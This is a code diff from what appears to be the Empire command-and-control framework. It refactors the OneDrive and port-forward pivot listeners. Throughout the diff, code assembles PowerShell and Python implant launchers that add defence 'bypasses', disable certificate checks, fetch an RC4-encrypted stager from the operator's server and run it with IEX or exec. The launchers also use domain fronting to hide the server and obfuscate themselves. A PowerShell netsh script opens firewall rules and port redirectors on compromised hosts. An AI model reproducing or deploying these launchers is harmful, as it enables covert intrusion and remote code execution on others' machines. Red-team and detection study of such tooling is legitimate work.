+ launcher_cmd = listener_options["Launcher"]["Value"]
+ staging_key = listener_options["StagingKey"]["Value"]
- if userAgent.lower() == "default":
- profile = listener_options["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
- launcher += f"$u='{ userAgent }';"
+ if language.startswith("power"):
+ launcher = ""
+ if safeChecks.lower() == "true":
+ launcher += "If($PSVersionTable.PSVersion.Major -ge 3){"
- if userAgent.lower() != "none" or proxy.lower() != "none":
- if userAgent.lower() != "none":
- launcher += "$wc.Headers.Add('User-Agent',$u);"
+ for bypass in bypasses:
+ launcher += bypass
+ launcher += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- launcher += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
+ launcher += "$wc=New-Object System.Net.WebClient;"
- else:
- launcher += "$proxy=New-Object Net.WebProxy;"
- launcher += f"$proxy.Address = '{ proxy.lower() }';"
- launcher += "$wc.Proxy = $proxy;"
+ if userAgent.lower() == "default":
+ profile = listener_options["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+ launcher += f"$u='{ userAgent }';"
- if proxyCreds.lower() == "default":
- launcher += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+ if userAgent.lower() != "none" or proxy.lower() != "none":
+ if userAgent.lower() != "none":
+ launcher += "$wc.Headers.Add('User-Agent',$u);"
+
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcher += (
+ "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
+ )
else:
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- domain = username.split("\\")[0]
- usr = username.split("\\")[1]
- launcher += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
- launcher += "$wc.Proxy.Credentials = $netcred;"
-
- launcher += "$Script:Proxy = $wc.Proxy;"
-
- # code to turn the key string into a byte array
- launcher += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
- )
+ launcher += "$proxy=New-Object Net.WebProxy;"
+ launcher += f"$proxy.Address = '{ proxy.lower() }';"
+ launcher += "$wc.Proxy = $proxy;"
- # this is the minimized RC4 launcher code from rc4.ps1
- launcher += listener_util.powershell_rc4()
+ if proxyCreds.lower() == "default":
+ launcher += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
- launcher += f"$data=$wc.DownloadData('{self.stager_url}');"
- launcher += "$iv=$data[0..3];$data=$data[4..$data.length];"
- launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+ else:
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ domain = username.split("\\")[0]
+ usr = username.split("\\")[1]
+ launcher += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');"
+ launcher += "$wc.Proxy.Credentials = $netcred;"
- # Remove comments and make one line
- launcher = helpers.strip_powershell_comments(launcher)
- launcher = data_util.ps_convert_to_oneliner(launcher)
+ launcher += "$Script:Proxy = $wc.Proxy;"
- if obfuscate:
- launcher = self.mainMenu.obfuscationv2.obfuscate(
- launcher,
- obfuscation_command=obfuscation_command,
- )
- launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher)
+ # code to turn the key string into a byte array
+ launcher += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');"
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(launcher, launcher_cmd)
- else:
- return launcher
+ # this is the minimized RC4 launcher code from rc4.ps1
+ launcher += listener_util.powershell_rc4()
- if language.startswith("pyth"):
- log.error(
- "listeners/onedrive generate_launcher(): Python agent not implemented yet"
+ launcher += f"$data=$wc.DownloadData('{self.stager_url}');"
+ launcher += "$iv=$data[0..3];$data=$data[4..$data.length];"
+ launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+
+ # Remove comments and make one line
+ launcher = helpers.strip_powershell_comments(launcher)
+ launcher = data_util.ps_convert_to_oneliner(launcher)
+
+ if obfuscate:
+ launcher = self.mainMenu.obfuscationv2.obfuscate(
+ launcher,
+ obfuscation_command=obfuscation_command,
)
- return "Python not implemented yet"
+ launcher = self.mainMenu.obfuscationv2.obfuscate_keywords(launcher)
+
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(launcher, launcher_cmd)
+ else:
+ return launcher
+
+ if language.startswith("pyth"):
+ log.error(
+ "listeners/onedrive generate_launcher(): Python agent not implemented yet"
+ )
+ return "Python not implemented yet"
def generate_stager(
self,
@@ -896,40 +885,23 @@ def upload_stager():
s.close()
- def start(self, name=""):
+ def start(self):
"""
Start a threaded instance of self.start_server() and store it in the
- self.threads dictionary keyed by the listener name.
+ self.thread property.
"""
listenerOptions = self.options
- if name and name != "":
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(3)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
- else:
- name = listenerOptions["Name"]["Value"]
- self.threads[name] = helpers.KThread(
- target=self.start_server, args=(listenerOptions,)
- )
- self.threads[name].start()
- time.sleep(3)
- # returns True if the listener successfully started, false otherwise
- return self.threads[name].is_alive()
+ self.thread = helpers.KThread(target=self.start_server, args=(listenerOptions,))
+ self.thread.start()
+ time.sleep(3)
+ # returns True if the listener successfully started, false otherwise
+ return self.thread.is_alive()
- def shutdown(self, name=""):
+ def shutdown(self):
"""
- Terminates the server thread stored in the self.threads dictionary,
- keyed by the listener name.
+ Terminates the server thread stored in the self.thread property.
"""
- if name and name != "":
- to_kill = name
- else:
- to_kill = self.options["Name"]["Value"]
-
+ to_kill = self.options["Name"]["Value"]
self.instance_log.info(f"{to_kill}: shutting down...")
log.info(f"{to_kill}: shutting down...")
- self.threads[to_kill].kill()
+ self.thread.kill()
diff --git a/empire/server/listeners/port_forward_pivot.py b/empire/server/listeners/port_forward_pivot.py
index b337fd493..d1cfe280c 100755
--- a/empire/server/listeners/port_forward_pivot.py
+++ b/empire/server/listeners/port_forward_pivot.py
@@ -3,7 +3,6 @@
import logging
import os
import random
-from typing import List, Optional, Tuple
from empire.server.common import encryption, helpers, packets, templating
from empire.server.common.empire import MainMenu
@@ -64,7 +63,7 @@ def __init__(self, mainMenu: MainMenu):
# required:
self.mainMenu = mainMenu
- self.threads = {} # used to keep track of any threaded instances of this server
+ self.thread = None
self.instance_log = log
@@ -76,7 +75,7 @@ def default_response(self):
self.instance_log.info("default_response() not implemented for pivot listeners")
return b""
- def validate_options(self) -> Tuple[bool, Optional[str]]:
+ def validate_options(self) -> tuple[bool, str | None]:
"""
Validate all options for this listener.
"""
@@ -94,7 +93,7 @@ def generate_launcher(
language=None,
safeChecks="",
listenerName=None,
- bypasses: List[str] = None,
+ bypasses: list[str] = None,
):
"""
Generate a basic launcher for the specified listener.
@@ -105,314 +104,297 @@ def generate_launcher(
log.error("listeners/template generate_launcher(): no language specified!")
return None
- # Previously, we had to do a lookup for the listener and check through threads on the instance.
- # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified
- # further, but for now keeping as is since 5.0 has enough rewrites as it is.
- if (
- True
- ): # The true check is just here to keep the indentation consistent with the old code.
- active_listener = self
- # extract the set options for this instantiated listener
- listenerOptions = active_listener.options
-
- host = listenerOptions["Host"]["Value"]
- launcher = listenerOptions["Launcher"]["Value"]
- stagingKey = listenerOptions["StagingKey"]["Value"]
- profile = listenerOptions["DefaultProfile"]["Value"]
- uris = [a for a in profile.split("|")[0].split(",")]
- stage0 = random.choice(uris)
- customHeaders = profile.split("|")[2:]
+ active_listener = self
+ # extract the set options for this instantiated listener
+ listenerOptions = active_listener.options
- if language.startswith("po"):
- # PowerShell
+ host = listenerOptions["Host"]["Value"]
+ launcher = listenerOptions["Launcher"]["Value"]
+ stagingKey = listenerOptions["StagingKey"]["Value"]
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ uris = list(profile.split("|")[0].split(","))
+ stage0 = random.choice(uris)
+ customHeaders = profile.split("|")[2:]
- stager = '$ErrorActionPreference = "SilentlyContinue";'
- if safeChecks.lower() == "true":
- stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
+ if language.startswith("po"):
+ # PowerShell
- for bypass in bypasses:
- stager += bypass
- stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
+ stager = '$ErrorActionPreference = "SilentlyContinue";'
+ if safeChecks.lower() == "true":
+ stager = "If($PSVersionTable.PSVersion.Major -ge 3){"
- stager += "$wc=New-Object System.Net.WebClient;"
+ for bypass in bypasses:
+ stager += bypass
+ stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;"
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
- stager += f"$u='{ userAgent }';"
+ stager += "$wc=New-Object System.Net.WebClient;"
- if "https" in host:
- # allow for self-signed certificates for https connections
- stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+ stager += f"$u='{ userAgent }';"
- if userAgent.lower() != "none" or proxy.lower() != "none":
- if userAgent.lower() != "none":
- stager += "$wc.Headers.Add('User-Agent',$u);"
+ if "https" in host:
+ # allow for self-signed certificates for https connections
+ stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- stager += (
- "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- )
+ if userAgent.lower() != "none" or proxy.lower() != "none":
+ if userAgent.lower() != "none":
+ stager += "$wc.Headers.Add('User-Agent',$u);"
- else:
- # TODO: implement form for other proxy
- stager += (
- f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');"
- )
- stager += "$wc.Proxy = $proxy;"
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
- if proxyCreds.lower() == "default":
- stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+ else:
+ # TODO: implement form for other proxy
+ stager += (
+ f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');"
+ )
+ stager += "$wc.Proxy = $proxy;"
+
+ if proxyCreds.lower() == "default":
+ stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
+
+ else:
+ # TODO: implement form for other proxy credentials
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
+ if len(username.split("\\")) > 1:
+ usr = username.split("\\")[1]
+ domain = username.split("\\")[0]
+ stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}','{domain}');"
else:
- # TODO: implement form for other proxy credentials
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- if len(username.split("\\")) > 1:
- usr = username.split("\\")[1]
- domain = username.split("\\")[0]
- stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}','{domain}');"
-
- else:
- usr = username.split("\\")[0]
- stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}');"
-
- stager += "$wc.Proxy.Credentials = $netcred;"
-
- # save the proxy settings to use during the entire staging process and the agent
- stager += "$Script:Proxy = $wc.Proxy;"
-
- # TODO: reimplement stager retries?
- # check if we're using IPv6
- listenerOptions = copy.deepcopy(listenerOptions)
- bindIP = listenerOptions["BindIP"]["Value"]
- port = listenerOptions["Port"]["Value"]
- if ":" in bindIP:
- if "http" in host:
- if "https" in host:
- host = (
- "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
- )
- else:
- host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
+ usr = username.split("\\")[0]
+ stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}','{password}');"
+
+ stager += "$wc.Proxy.Credentials = $netcred;"
+
+ # save the proxy settings to use during the entire staging process and the agent
+ stager += "$Script:Proxy = $wc.Proxy;"
+
+ # TODO: reimplement stager retries?
+ # check if we're using IPv6
+ listenerOptions = copy.deepcopy(listenerOptions)
+ bindIP = listenerOptions["BindIP"]["Value"]
+ port = listenerOptions["Port"]["Value"]
+ if ":" in bindIP:
+ if "http" in host:
+ if "https" in host:
+ host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port)
+ else:
+ host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port)
+
+ # code to turn the key string into a byte array
+ stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');"
+
+ # this is the minimized RC4 stager code from rc4.ps1
+ stager += listener_util.powershell_rc4()
+
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ stagingKey,
+ sessionID="00000000",
+ language="POWERSHELL",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")
- # code to turn the key string into a byte array
- stager += (
- f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');"
- )
+ # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';"
+ stager += f"$ser={helpers.obfuscate_call_home_address(host)};$t='{stage0}';$hop='{listenerName}';"
- # this is the minimized RC4 stager code from rc4.ps1
- stager += listener_util.powershell_rc4()
-
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- stagingKey,
- sessionID="00000000",
- language="POWERSHELL",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")
+ # Add custom headers if any
+ if customHeaders != []:
+ for header in customHeaders:
+ headerKey = header.split(":")[0]
+ headerValue = header.split(":")[1]
+ # If host header defined, assume domain fronting is in use and add a call to the base URL first
+ # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
+ if headerKey.lower() == "host":
+ stager += "try{$ig=$wc.DownloadData($ser)}catch{};"
- # stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';"
- stager += f"$ser={helpers.obfuscate_call_home_address(host)};$t='{stage0}';$hop='{listenerName}';"
+ stager += f'$wc.Headers.Add("{headerKey}","{headerValue}");'
- # Add custom headers if any
- if customHeaders != []:
- for header in customHeaders:
- headerKey = header.split(":")[0]
- headerValue = header.split(":")[1]
- # If host header defined, assume domain fronting is in use and add a call to the base URL first
- # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
- if headerKey.lower() == "host":
- stager += "try{$ig=$wc.DownloadData($ser)}catch{};"
+ # add the RC4 packet to a cookie
- stager += f'$wc.Headers.Add("{headerKey}","{headerValue}");'
+ stager += f'$wc.Headers.Add("Cookie","session={b64RoutingPacket}");'
+ stager += "$data=$wc.DownloadData($ser+$t);"
+ stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
- # add the RC4 packet to a cookie
+ # decode everything and kick it over to IEX to kick off execution
+ stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
- stager += f'$wc.Headers.Add("Cookie","session={b64RoutingPacket}");'
- stager += "$data=$wc.DownloadData($ser+$t);"
- stager += "$iv=$data[0..3];$data=$data[4..$data.length];"
+ # Remove comments and make one line
+ stager = helpers.strip_powershell_comments(stager)
+ stager = data_util.ps_convert_to_oneliner(stager)
- # decode everything and kick it over to IEX to kick off execution
- stager += "-join[Char[]](& $R $data ($IV+$K))|IEX"
+ if obfuscate:
+ stager = self.mainMenu.obfuscationv2.obfuscate(
+ stager,
+ obfuscation_command=obfuscation_command,
+ )
+ stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
- # Remove comments and make one line
- stager = helpers.strip_powershell_comments(stager)
- stager = data_util.ps_convert_to_oneliner(stager)
+ # base64 encode the stager and return it
+ if encode and (
+ (not obfuscate) or ("launcher" not in obfuscation_command.lower())
+ ):
+ return helpers.powershell_launcher(stager, launcher)
+ else:
+ # otherwise return the case-randomized stager
+ return stager
- if obfuscate:
- stager = self.mainMenu.obfuscationv2.obfuscate(
- stager,
- obfuscation_command=obfuscation_command,
- )
- stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager)
+ if language.startswith("py"):
+ # Python
- # base64 encode the stager and return it
- if encode and (
- (not obfuscate) or ("launcher" not in obfuscation_command.lower())
- ):
- return helpers.powershell_launcher(stager, launcher)
- else:
- # otherwise return the case-randomized stager
- return stager
-
- if language.startswith("py"):
- # Python
-
- launcherBase = "import sys;"
- if "https" in host:
- # monkey patch ssl woohooo
- launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
-
- try:
- if safeChecks.lower() == "true":
- launcherBase += listener_util.python_safe_checks()
- except Exception as e:
- p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
- log.error(p, exc_info=True)
-
- if userAgent.lower() == "default":
- profile = listenerOptions["DefaultProfile"]["Value"]
- userAgent = profile.split("|")[1]
-
- launcherBase += "import urllib.request;\n"
- launcherBase += "UA='%s';" % (userAgent)
- launcherBase += f"server='{host}';t='{stage0}';"
-
- # prebuild the request routing packet for the launcher
- routingPacket = packets.build_routing_packet(
- stagingKey,
- sessionID="00000000",
- language="PYTHON",
- meta="STAGE0",
- additional="None",
- encData="",
- )
- b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")
+ launcherBase = "import sys;"
+ if "https" in host:
+ # monkey patch ssl woohooo
+ launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
- launcherBase += "req=urllib.request.Request(server+t);\n"
- # add the RC4 packet to a cookie
- launcherBase += "req.add_header('User-Agent',UA);\n"
- launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (
- b64RoutingPacket
- )
+ try:
+ if safeChecks.lower() == "true":
+ launcherBase += listener_util.python_safe_checks()
+ except Exception as e:
+ p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}"
+ log.error(p, exc_info=True)
+
+ if userAgent.lower() == "default":
+ profile = listenerOptions["DefaultProfile"]["Value"]
+ userAgent = profile.split("|")[1]
+
+ launcherBase += "import urllib.request;\n"
+ launcherBase += "UA='%s';" % (userAgent)
+ launcherBase += f"server='{host}';t='{stage0}';"
+
+ # prebuild the request routing packet for the launcher
+ routingPacket = packets.build_routing_packet(
+ stagingKey,
+ sessionID="00000000",
+ language="PYTHON",
+ meta="STAGE0",
+ additional="None",
+ encData="",
+ )
+ b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8")
- # Add custom headers if any
- if customHeaders != []:
- for header in customHeaders:
- headerKey = header.split(":")[0]
- headerValue = header.split(":")[1]
- # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
- launcherBase += 'req.add_header("{}","{}");\n'.format(
- headerKey,
- headerValue,
- )
+ launcherBase += "req=urllib.request.Request(server+t);\n"
+ # add the RC4 packet to a cookie
+ launcherBase += "req.add_header('User-Agent',UA);\n"
+ launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (
+ b64RoutingPacket
+ )
- if proxy.lower() != "none":
- if proxy.lower() == "default":
- launcherBase += "proxy = urllib.request.ProxyHandler();\n"
+ # Add custom headers if any
+ if customHeaders != []:
+ for header in customHeaders:
+ headerKey = header.split(":")[0]
+ headerValue = header.split(":")[1]
+ # launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
+ launcherBase += f'req.add_header("{headerKey}","{headerValue}");\n'
+
+ if proxy.lower() != "none":
+ if proxy.lower() == "default":
+ launcherBase += "proxy = urllib.request.ProxyHandler();\n"
+ else:
+ proto = proxy.Split(":")[0]
+ launcherBase += (
+ "proxy = urllib.request.ProxyHandler({'"
+ + proto
+ + "':'"
+ + proxy
+ + "'});\n"
+ )
+
+ if proxyCreds != "none":
+ if proxyCreds == "default":
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
else:
- proto = proxy.Split(":")[0]
+ launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
+ username = proxyCreds.split(":")[0]
+ password = proxyCreds.split(":")[1]
launcherBase += (
- "proxy = urllib.request.ProxyHandler({'"
- + proto
- + "':'"
+ "proxy_auth_handler.add_password(None,'"
+ proxy
- + "'});\n"
+ + "','"
+ + username
+ + "','"
+ + password
+ + "');\n"
)
-
- if proxyCreds != "none":
- if proxyCreds == "default":
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
- else:
- launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n"
- username = proxyCreds.split(":")[0]
- password = proxyCreds.split(":")[1]
- launcherBase += (
- "proxy_auth_handler.add_password(None,'"
- + proxy
- + "','"
- + username
- + "','"
- + password
- + "');\n"
- )
- launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n"
- else:
- launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n"
else:
- launcherBase += "o = urllib.request.build_opener();\n"
+ launcherBase += "o = urllib.request.build_opener(proxy);\n"
+ else:
+ launcherBase += "o = urllib.request.build_opener();\n"
- # install proxy and creds globally, so they can be used with urlopen.
- launcherBase += "urllib.request.install_opener(o);\n"
- launcherBase += "a=urllib.request.urlopen(req).read();\n"
+ # install proxy and creds globally, so they can be used with urlopen.
+ launcherBase += "urllib.request.install_opener(o);\n"
+ launcherBase += "a=urllib.request.urlopen(req).read();\n"
- # download the stager and extract the IV
- launcherBase += listener_util.python_extract_stager(stagingKey)
+ # download the stager and extract the IV
+ launcherBase += listener_util.python_extract_stager(stagingKey)
- if obfuscate:
- launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
- launcherBase
- )
- launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
- launcherBase
- )
+ if obfuscate:
+ launcherBase = self.mainMenu.obfuscationv2.python_obfuscate(
+ launcherBase
+ )
+ launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords(
+ launcherBase
+ )
- if encode:
- launchEncoded = base64.b64encode(
- launcherBase.encode("UTF-8")
- ).decode("UTF-8")
- launcher = (
- "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &"
- % launchEncoded
- )
- return launcher
- else:
- return launcherBase
-
- if language.startswith("csh"):
- workingHours = listenerOptions["WorkingHours"]["Value"]
- killDate = listenerOptions["KillDate"]["Value"]
- customHeaders = profile.split("|")[2:]
- delay = listenerOptions["DefaultDelay"]["Value"]
- jitter = listenerOptions["DefaultJitter"]["Value"]
- lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
-
- with open(
- self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb"
- ) as f:
- stager_yaml = f.read()
- stager_yaml = stager_yaml.decode("UTF-8")
- stager_yaml = (
- stager_yaml.replace("{{ REPLACE_ADDRESS }}", host)
- .replace("{{ REPLACE_SESSIONKEY }}", stagingKey)
- .replace("{{ REPLACE_PROFILE }}", profile)
- .replace("{{ REPLACE_WORKINGHOURS }}", workingHours)
- .replace("{{ REPLACE_KILLDATE }}", killDate)
- .replace("{{ REPLACE_DELAY }}", str(delay))
- .replace("{{ REPLACE_JITTER }}", str(jitter))
- .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit))
+ if encode:
+ launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode(
+ "UTF-8"
+ )
+ launcher = (
+ "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &"
+ % launchEncoded
)
+ return launcher
+ else:
+ return launcherBase
- compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
- if not compiler.status == "ON":
- self.instance_log.error(
- f"{listenerName} csharpserver plugin not running"
- )
- else:
- file_name = compiler.do_send_stager(
- stager_yaml, "Sharpire", confuse=obfuscate
- )
- return file_name
+ if language.startswith("csh"):
+ workingHours = listenerOptions["WorkingHours"]["Value"]
+ killDate = listenerOptions["KillDate"]["Value"]
+ customHeaders = profile.split("|")[2:]
+ delay = listenerOptions["DefaultDelay"]["Value"]
+ jitter = listenerOptions["DefaultJitter"]["Value"]
+ lostLimit = listenerOptions["DefaultLostLimit"]["Value"]
+
+ with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f:
+ stager_yaml = f.read()
+ stager_yaml = stager_yaml.decode("UTF-8")
+ stager_yaml = (
+ stager_yaml.replace("{{ REPLACE_ADDRESS }}", host)
+ .replace("{{ REPLACE_SESSIONKEY }}", stagingKey)
+ .replace("{{ REPLACE_PROFILE }}", profile)
+ .replace("{{ REPLACE_WORKINGHOURS }}", workingHours)
+ .replace("{{ REPLACE_KILLDATE }}", killDate)
+ .replace("{{ REPLACE_DELAY }}", str(delay))
+ .replace("{{ REPLACE_JITTER }}", str(jitter))
+ .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit))
+ )
+ compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver")
+ if not compiler.status == "ON":
+ self.instance_log.error(
+ f"{listenerName} csharpserver plugin not running"
+ )
else:
- log.error(
- "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
+ file_name = compiler.do_send_stager(
+ stager_yaml, "Sharpire", confuse=obfuscate
)
+ return file_name
+
+ else:
+ log.error(
+ "listeners/template generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
+ )
def generate_stager(
self,
@@ -695,12 +677,13 @@ def generate_comms(self, listenerOptions, language=None):
else:
log.error("listeners/http generate_comms(): no language specified!")
- def start(self, name=""):
+ def start(self):
"""
If a server component needs to be started, implement the kick off logic
here and the actual server code in another function to facilitate threading
(i.e. start_server() in the http listener).
"""
+ name = self.options["Name"]["Value"]
try:
tempOptions = copy.deepcopy(self.options)
with SessionLocal.begin() as db:
@@ -722,10 +705,10 @@ def start(self, name=""):
return False
# validate that the Listener does exist
- if self.mainMenu.listeners.is_listener_valid(listenerName):
+ if self.mainMenu.listenersv2.get_active_listener_by_name(listenerName):
# check if a listener for the agent already exists
- if self.mainMenu.listeners.is_listener_valid(
+ if self.mainMenu.listenersv2.get_active_listener_by_name(
tempOptions["Name"]["Value"]
):
log.error(
@@ -871,19 +854,24 @@ def start(self, name=""):
log.error(f'Listener "{name}" failed to start')
return False
- def shutdown(self, name=""):
+ def shutdown(self):
"""
If a server component was started, implement the logic that kills the particular
named listener here.
"""
- if name and name != "":
- self.instance_log.info(f"{name}: shutting down...")
- log.info(f"{name}: shutting down...")
-
- sessionID = self.mainMenu.agents.get_agent_id_db(name)
- isElevated = self.mainMenu.agents.is_agent_elevated(sessionID)
- if self.mainMenu.agents.is_agent_present(sessionID) and isElevated:
- if self.mainMenu.agents.get_language_db(sessionID).startswith("po"):
+ name = self.options["Name"]["Value"]
+ self.instance_log.info(f"{name}: shutting down...")
+ log.info(f"{name}: shutting down...")
+
+ with SessionLocal() as db:
+ agent = self.mainMenu.agentsv2.get_by_name(db, name)
+
+ if not agent:
+ log.error("Agent is not present in the cache or not elevated")
+ return
+
+ if agent.high_integrity:
+ if agent.language.startswith("po"):
script = """
function Invoke-Redirector {
param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll)
@@ -914,59 +902,52 @@ def shutdown(self, name=""):
$ConnectAddress = ""
$ConnectPort = ""
- $parts = $ConnectHost -split(":")
- if($parts.Length -eq 2){
- # if the form is http[s]://HOST or HOST:PORT
- if($parts[0].StartsWith("http")){
- $ConnectAddress = $parts[1] -replace "//",""
- if($parts[0] -eq "https"){
- $ConnectPort = "443"
+ $parts = $ConnectHost -split(":")
+ if($parts.Length -eq 2){
+ # if the form is http[s]://HOST or HOST:PORT
+ if($parts[0].StartsWith("http")){
+ $ConnectAddress = $parts[1] -replace "//",""
+ if($parts[0] -eq "https"){
+ $ConnectPort = "443"
+ }
+ else{
+ $ConnectPort = "80"
+ }
}
else{
- $ConnectPort = "80"
+ $ConnectAddress = $parts[0]
+ $ConnectPort = $parts[1]
}
}
- else{
- $ConnectAddress = $parts[0]
- $ConnectPort = $parts[1]
+ elseif($parts.Length -eq 3){
+ # if the form is http[s]://HOST:PORT
+ $ConnectAddress = $parts[1] -replace "//",""
+ $ConnectPort = $parts[2]
}
- }
- elseif($parts.Length -eq 3){
- # if the form is http[s]://HOST:PORT
- $ConnectAddress = $parts[1] -replace "//",""
- $ConnectPort = $parts[2]
- }
- if($ConnectPort -ne ""){
- Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes
- $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
- if($out){
- $out
+ if($ConnectPort -ne ""){
+ Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes
+ $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp
+ if($out){
+ $out
+ }
+ else{
+ "[+] successfully added redirector on port $ListenPort to $ConnectHost"
+ }
}
else{
- "[+] successfully added redirector on port $ListenPort to $ConnectHost"
+ "[!] netsh error: host not in http[s]://HOST:[PORT] format"
}
}
- else{
- "[!] netsh error: host not in http[s]://HOST:[PORT] format"
- }
}
}
- }
- Invoke-Redirector"""
+ Invoke-Redirector"""
script += " -Reset"
- script += " -FirewallName %s" % (sessionID)
+ script += f" -FirewallName {agent.session_id}"
- with SessionLocal.begin() as db:
